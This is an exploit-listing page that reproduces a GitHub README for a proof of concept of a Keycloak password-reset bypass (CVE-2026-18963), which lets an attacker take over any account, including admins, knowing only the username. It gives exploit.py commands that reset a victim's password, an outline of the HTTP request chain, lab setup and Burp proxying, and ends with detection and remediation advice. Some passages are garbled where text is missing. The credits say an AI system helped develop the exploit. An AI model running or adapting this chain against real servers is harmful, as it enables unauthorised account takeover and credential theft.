Sploitus

Exploit for CVE-2026-18963

githubexploit Β· 2026-08-24

Exploit Code

README151 lines
## https://sploitus.com/exploit?id=B9ECC673-A7CC-5EAE-85D2-AB66A14EEF0C
# CVE-2026-18963 β€” Keycloak Reset-Credentials Bypass β†’ Account Takeover

> **Unauthenticated account takeover** in Keycloak's reset-credentials flow.
> An attacker who knows only a **username/email** can reset any user's password
> β€” including **admins** β€” without ever receiving the verification email.

[![CVE](https://img.shields.io/badge/CVE-2026--18963-red)](https://nvd.nist.gov/vuln/detail/CVE-2026-18963)
[![CVSS](https://img.shields.io/badge/CVSS-9.1_Critical-critical)](https://nvd.nist.gov/vuln/detail/CVE-2026-18963)
[![CWE](https://img.shields.io/badge/CWE-640-orange)](https://cwe.mitre.org/data/definitions/640.html)
[![License](https://img.shields.io/badge/License-MIT-blue)](LICENSE)

---

## ⚠️ Disclaimer β€” Ethical use only

This proof of concept is published **strictly for educational purposes, defensive
research, detection engineering, and authorized security testing.**

- Use it **only** against systems you **own** or have **explicit written
  authorization** to test. Accessing or modifying systems without permission is
  **illegal** and unethical.
- This is a **defensive/educational resource** meant to help teams understand,
  detect, and remediate CVE-2026-18963 β€” not to attack third parties.
- **The author (red-darkin) assumes NO responsibility or liability** for any
  misuse, damage, or illegal activity carried out with this code. **You are
  solely responsible** for how you use it and for complying with all applicable
  laws.
- By downloading or using this repository you **accept these terms**. If you do
  not agree, **do not use it.**

See [DISCLAIMER.md](DISCLAIMER.md) for the full statement.

---

## Summary

| | |
|---|---|
| **CVE** | CVE-2026-18963 |
| **Severity** | Critical β€” CVSS 3.1 `9.1` (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`) |
| **Weakness** | CWE-640 β€” Weak Password Recovery Mechanism |
| **Affected** | Keycloak `       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter β†’ STALE selector (corrupted state)
POST …reset-credentials      username=       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 β†’ password changed β†’ TAKEOVER
```

See [`docs/ROOTCAUSE.md`](docs/ROOTCAUSE.md) for the annotated patch diff.

---

## Quick start (lab)

You need Docker and Python 3 with `requests`.

```bash
# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version  HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
```

Then log in as `victim` / `Pwned-2026!` to confirm the takeover.

### Negative control (patched)

```bash
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early β€” the update-password form is never served
```

---

## Usage

```
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification
```

Every HTTP response is written to `./dump/` for inspection.

---

## Proxying through Burp

Keycloak already uses `8080`, so point Burp's listener at another port (e.g. `8081`):

```bash
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081
```

Raw request chain for **Burp Repeater** is in
[`requests/burp-chain.txt`](requests/burp-chain.txt).

---

## Detection

Look for a password change that was **not** preceded by email verification in the
same authentication session:

- An `UPDATE_PASSWORD` event **without** a preceding `VERIFY_EMAIL` /
  `EXECUTE_ACTION_TOKEN` for that session.
- Bursts of `reset-credentials` requests carrying `tryAnotherWay=on`.
- Multiple re-entries of `login-actions/reset-credentials` for the same `tab_id`.

---

## Remediation

- **Upgrade to Keycloak 26.7.2** (or the fixed RH build stream) β€” top priority.
- Temporary mitigation: **Realm settings β†’ Login β†’ Forgot password = Off**.
- Post-patch: rotate admin credentials, force re-login after resets, and alert on
  the detection signals above.

---

## References

- NVD β€” https://nvd.nist.gov/vuln/detail/CVE-2026-18963
- Fix PR #51844 β€” https://github.com/keycloak/keycloak/pull/51844
- Issue #51833 β€” https://github.com/keycloak/keycloak/issues/51833
- Red Hat β€” https://access.redhat.com/security/cve/cve-2026-18963

## Demo

A full run is recorded in [`CVE-2026-18963.mp4`](CVE-2026-18963.mp4) (in the repo root).

## Credits

- **[red-darkin](https://github.com/red-darkin)** β€” lab reproduction, PoC, and write-up.
- **Claude (Anthropic)** β€” research and PoC development assistance.

Chain corroborated against the public Keycloak patch (PR #51844) and community write-ups.

## License

[MIT](LICENSE) Β© red-darkin β€” for educational and authorized testing use only.